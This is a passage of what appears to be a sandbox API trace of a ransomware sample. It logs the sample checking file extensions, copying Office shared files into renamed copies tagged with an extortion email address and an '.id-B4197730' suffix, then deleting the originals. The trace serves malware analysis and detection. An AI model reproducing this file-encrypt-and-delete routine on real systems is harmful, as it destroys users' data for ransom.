1 [0073.636] WriteFile (in: hFile=0x38c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.643] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.643] WriteFile (in: hFile=0x38c, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.645] CloseHandle (hObject=0x38c) returned 1 [0073.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.646] lstrlenW (lpString=".doc") returned 4 [0073.646] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0073.646] lstrlenW (lpString=".docx") returned 5 [0073.646] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0073.646] lstrlenW (lpString=".pdf") returned 4 [0073.646] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0073.646] lstrlenW (lpString=".xls") returned 4 [0073.646] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0073.646] lstrlenW (lpString=".xlsx") returned 5 [0073.646] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0073.646] lstrlenW (lpString=".ppt") returned 4 [0073.646] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0073.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.646] lstrlenW (lpString=".zip") returned 4 [0073.646] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0073.646] lstrlenW (lpString=".rar") returned 4 [0073.646] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0073.646] lstrlenW (lpString=".bz2") returned 4 [0073.646] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0073.647] lstrlenW (lpString=".7z") returned 3 [0073.647] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0073.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.647] lstrlenW (lpString=".dbf") returned 4 [0073.647] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0073.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.647] lstrlenW (lpString=".1cd") returned 4 [0073.647] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0073.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.647] lstrlenW (lpString=".jpg") returned 4 [0073.647] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0073.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.647] lstrlenW (lpString=".doc") returned 4 [0073.647] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0073.647] lstrlenW (lpString=".docx") returned 5 [0073.647] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0073.647] lstrlenW (lpString=".pdf") returned 4 [0073.647] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0073.647] lstrlenW (lpString=".xls") returned 4 [0073.647] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0073.647] lstrlenW (lpString=".xlsx") returned 5 [0073.647] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0073.647] lstrlenW (lpString=".ppt") returned 4 [0073.647] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0073.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.647] lstrlenW (lpString=".zip") returned 4 [0073.647] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0073.647] lstrlenW (lpString=".rar") returned 4 [0073.647] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0073.648] lstrlenW (lpString=".bz2") returned 4 [0073.648] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0073.648] lstrlenW (lpString=".7z") returned 3 [0073.648] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0073.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.648] lstrlenW (lpString=".dbf") returned 4 [0073.648] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0073.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.648] lstrlenW (lpString=".1cd") returned 4 [0073.648] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0073.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0073.648] lstrlenW (lpString=".jpg") returned 4 [0073.648] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0073.648] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.648] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0073.978] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10752) returned 1 [0073.978] CloseHandle (hObject=0x2f4) returned 1 [0073.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0073.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.979] lstrlenW (lpString=".doc") returned 4 [0073.979] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.979] lstrlenW (lpString=".docx") returned 5 [0073.979] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.979] lstrlenW (lpString=".pdf") returned 4 [0073.979] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.979] lstrlenW (lpString=".xls") returned 4 [0073.979] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.979] lstrlenW (lpString=".xlsx") returned 5 [0073.979] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.979] lstrlenW (lpString=".ppt") returned 4 [0073.979] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.979] lstrlenW (lpString=".zip") returned 4 [0073.979] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.979] lstrlenW (lpString=".rar") returned 4 [0073.979] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.979] lstrlenW (lpString=".bz2") returned 4 [0073.979] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.979] lstrlenW (lpString=".7z") returned 3 [0073.980] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.980] lstrlenW (lpString=".dbf") returned 4 [0073.980] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.980] lstrlenW (lpString=".1cd") returned 4 [0073.980] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.980] lstrlenW (lpString=".jpg") returned 4 [0073.980] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.980] lstrlenW (lpString=".doc") returned 4 [0073.980] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.980] lstrlenW (lpString=".docx") returned 5 [0073.980] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.980] lstrlenW (lpString=".pdf") returned 4 [0073.980] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.980] lstrlenW (lpString=".xls") returned 4 [0073.980] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.980] lstrlenW (lpString=".xlsx") returned 5 [0073.980] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.980] lstrlenW (lpString=".ppt") returned 4 [0073.980] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.980] lstrlenW (lpString=".zip") returned 4 [0073.981] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.981] lstrlenW (lpString=".rar") returned 4 [0073.981] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.981] lstrlenW (lpString=".bz2") returned 4 [0073.981] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.981] lstrlenW (lpString=".7z") returned 3 [0073.981] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.982] lstrlenW (lpString=".dbf") returned 4 [0073.982] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.982] lstrlenW (lpString=".1cd") returned 4 [0073.982] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0073.982] lstrlenW (lpString=".jpg") returned 4 [0073.982] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.982] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.982] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0073.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0074.076] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2560) returned 1 [0074.076] CloseHandle (hObject=0x38c) returned 1 [0074.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0074.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0074.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.076] lstrlenW (lpString=".doc") returned 4 [0074.076] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.076] lstrlenW (lpString=".docx") returned 5 [0074.076] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0074.076] lstrlenW (lpString=".pdf") returned 4 [0074.076] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.076] lstrlenW (lpString=".xls") returned 4 [0074.076] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.076] lstrlenW (lpString=".xlsx") returned 5 [0074.076] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0074.077] lstrlenW (lpString=".ppt") returned 4 [0074.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.077] lstrlenW (lpString=".zip") returned 4 [0074.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.077] lstrlenW (lpString=".rar") returned 4 [0074.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.077] lstrlenW (lpString=".bz2") returned 4 [0074.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.077] lstrlenW (lpString=".7z") returned 3 [0074.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.077] lstrlenW (lpString=".dbf") returned 4 [0074.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.077] lstrlenW (lpString=".1cd") returned 4 [0074.077] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.077] lstrlenW (lpString=".jpg") returned 4 [0074.077] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.077] lstrlenW (lpString=".doc") returned 4 [0074.077] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.077] lstrlenW (lpString=".docx") returned 5 [0074.077] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0074.077] lstrlenW (lpString=".pdf") returned 4 [0074.077] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.077] lstrlenW (lpString=".xls") returned 4 [0074.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.077] lstrlenW (lpString=".xlsx") returned 5 [0074.078] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0074.078] lstrlenW (lpString=".ppt") returned 4 [0074.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.078] lstrlenW (lpString=".zip") returned 4 [0074.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.078] lstrlenW (lpString=".rar") returned 4 [0074.078] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.078] lstrlenW (lpString=".bz2") returned 4 [0074.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.078] lstrlenW (lpString=".7z") returned 3 [0074.078] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.078] lstrlenW (lpString=".dbf") returned 4 [0074.078] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.078] lstrlenW (lpString=".1cd") returned 4 [0074.078] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0074.078] lstrlenW (lpString=".jpg") returned 4 [0074.078] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.078] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0074.078] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24 [0074.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0074.079] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=18624) returned 1 [0074.079] CloseHandle (hObject=0x38c) returned 1 [0074.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0074.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0074.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0074.080] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.080] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0074.080] GetLastError () returned 0x0 [0074.080] ReadFile (in: hFile=0x38c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0074.082] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0074.084] ReadFile (in: hFile=0x38c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.084] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x104, lpOverlapped=0x0) returned 1 [0074.084] SetEndOfFile (hFile=0x374) returned 1 [0074.084] CloseHandle (hObject=0x374) returned 1 [0074.084] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.084] SetEndOfFile (hFile=0x38c) returned 1 [0074.085] CloseHandle (hObject=0x38c) returned 1 [0074.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.085] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0074.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.086] lstrlenW (lpString=".doc") returned 4 [0074.086] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.086] lstrlenW (lpString=".docx") returned 5 [0074.086] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0074.086] lstrlenW (lpString=".pdf") returned 4 [0074.086] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.086] lstrlenW (lpString=".xls") returned 4 [0074.086] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.086] lstrlenW (lpString=".xlsx") returned 5 [0074.086] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0074.086] lstrlenW (lpString=".ppt") returned 4 [0074.086] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.086] lstrlenW (lpString=".zip") returned 4 [0074.086] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.086] lstrlenW (lpString=".rar") returned 4 [0074.086] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.086] lstrlenW (lpString=".bz2") returned 4 [0074.086] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.086] lstrlenW (lpString=".7z") returned 3 [0074.086] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.086] lstrlenW (lpString=".dbf") returned 4 [0074.086] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.086] lstrlenW (lpString=".1cd") returned 4 [0074.086] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.087] lstrlenW (lpString=".jpg") returned 4 [0074.087] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.087] lstrlenW (lpString=".doc") returned 4 [0074.087] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString=".docx") returned 5 [0074.087] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0074.087] lstrlenW (lpString=".pdf") returned 4 [0074.087] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString=".xls") returned 4 [0074.087] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString=".xlsx") returned 5 [0074.087] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0074.087] lstrlenW (lpString=".ppt") returned 4 [0074.087] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.087] lstrlenW (lpString=".zip") returned 4 [0074.087] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString=".rar") returned 4 [0074.087] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.087] lstrlenW (lpString=".bz2") returned 4 [0074.087] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.087] lstrlenW (lpString=".7z") returned 3 [0074.087] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.087] lstrlenW (lpString=".dbf") returned 4 [0074.087] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.088] lstrlenW (lpString=".1cd") returned 4 [0074.088] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0074.088] lstrlenW (lpString=".jpg") 